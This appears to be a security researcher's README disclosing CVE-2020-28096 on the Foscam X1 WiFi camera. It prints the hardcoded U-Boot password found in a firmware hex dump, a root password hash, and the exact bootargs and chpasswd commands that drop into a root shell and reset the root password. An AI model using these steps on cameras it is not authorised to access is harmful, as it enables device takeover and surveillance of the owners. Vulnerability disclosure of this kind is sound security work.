README.md

Equipment Overview


Wifi Camera:	Foscam Model X1
Firmware Version:	1.14.2.4
Linux Version:	3.10.14__isvp_turkey_1.0__
GCC Version:	4.7.2
UBoot Version:	2013.07 (May 05 2019 - 17:08:36)
Busybox Version:	v1.22.1
Busybox Functions:	[, [[, acpid, addgroup, adduser, arp, arping, ash, awk, base64, basename, blkid, bootchartd, brctl, cal, cat, catv, chgrp, chmod, chown, chpasswd, chroot, clear, cmp, cp, cryptpw, cttyhack, date, dd, deallocvt, delgroup, deluser, depmod, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd, dnsdomainname, dos2unix, du, dumpleases, echo, ed, egrep, env, ether-wake, fakeidentd, false, fbset, fdflush, fdformat, fdisk, fgrep, find, findfs, flash_eraseall, flashcp, flock, fold, free, freeramdisk, fsync, ftpget, ftpput, fuser, getopt, getty, grep, groups, gzip, halt, hd, hexdump, hostid, hostname, httpd, hush, hwclock, id, ifconfig, ifdown, ifenslave, ifplugd, ifup, inetd, init, insmod, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel, kill, killall, killall5, klogd, less, linux32, linux64, linuxrc, ln, logger, login, logname, logread, losetup, ls, lsmod, lsof, lsusb, makedevs, md5sum, mdev, mesg, mkdir, mkdosfs, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, mount, mountpoint, mpstat, mv, nameif, nbd-client, nc, netstat, nmeter, nslookup, ntpd, passwd, pgrep, pidof, ping, ping6, pivot_root, pkill, pmap, poweroff, printenv, printf, ps, pscan, pstree, pwd, pwdx, rdate, rdev, readlink, readprofile, realpath, reboot, renice, reset, resize, rev, rm, rmdir, rmmod, route, rtcwake, sed, seq, setarch, setconsole, sh, sha1sum, sha256sum, sha512sum, slattach, sleep, smemcap, sort, stat, sulogin, sum, swapoff, swapon, switch_root, sync, sysctl, syslogd, tail, tar, tcpsvd, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr, traceroute, traceroute6, true, tty, ttysize, tunctl, udhcpc, udhcpd, udpsvd, umount, uname, unix2dos, unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, vlock, volname, watch, watchdog, wc, wget, whoami, whois, xargs, yes, zcip
CPU Info:	Ingenic Xburst
Hardward Access:	SPI, UART
SPI Flash:	BY25Q128AS (Spec Sheet)
HTTP Admin Access:	http://Assigned IP Address:88/

Boot to Root (CVE-2020-28096)

Though other CVEs and write-ups have greatly detailed Foscam's reliance on static UART/Uboot password the X1 model appears to have bucked the trend. Though dumping the firmware via SPI is trivial, but as this relatively recent git details the hash 1xY/YSetV$dbTV4dHv6gWzmAlfYTboG1 isn't known to have been cracked. Also, UBoot is password protected. :(

Note Flashrom (as of 10/25/2020) does not natively support the Boya Microelectronics SPI chip this camera uses. I added the functionality and created a pull request to the flashrom repo which is currently pending. However, in the meantime, you can use this patch if you want to compile it yourself.

However, upon examining a hex dump of the dumped firmware we get the UBoot password.

```
00034240: 4869 7420 616e 7920 6b65 7920 746f 2073  Hit any key to s
00034250: 746f 7020 6175 746f 626f 6f74 3a20 2532  top autoboot: %2
00034260: 6420 0000 0a25 6473 7420 696e 7075 7420  d ...%dst input
00034270: 5061 7373 7764 3a00 6970 632e 666f 737e  Passwd:.ipc.fos~
00034280: 0000 0000 0808 0825 3264 2000 3c49 4e54  .......%2d .<INT
00034290: 4552 5255 5054 3e0a 0000 0000 7365 7269  ERRUPT>.....seri
000342a0: 616c 0000 4352 4300 436b 7375 6d00 0000  al..CRC.Cksum...
```

00034270: 5061 7373 7764 3a00 6970 632e 666f 737e Passwd:.**ipc.fos~**

Now we can login to UBoot and modify the UBoot bootargs enviroment variable to something like:

```
setenv bootargs 'console=ttyS1,115200n8 mem=100M@0x0 rmem=28M@0x6400000
mtdparts=jz_sfc:256k(boot),3072k(kernel),11264k(appfs),1024k(patch),256k(backup),512k(para) lateshell earlyprintk initcall_debug
rdinit=/bin/sh'
```

When you reboot you will drop into a shell. However, most of the Foscam components are not loaded yet. However, this is a mere pause. All we want to do is change the admin password; which is accomplished by:

```
echo root:test | /usr/sbin/chpasswd -m && /linuxrc
```

This command changes the root password to test, hashes it in the form expected by the Linux build, and then continues the booting of the camera. Once booted, log in with... you guessed it username: root, password: test.

Releases

No releases published

Packages

No packages published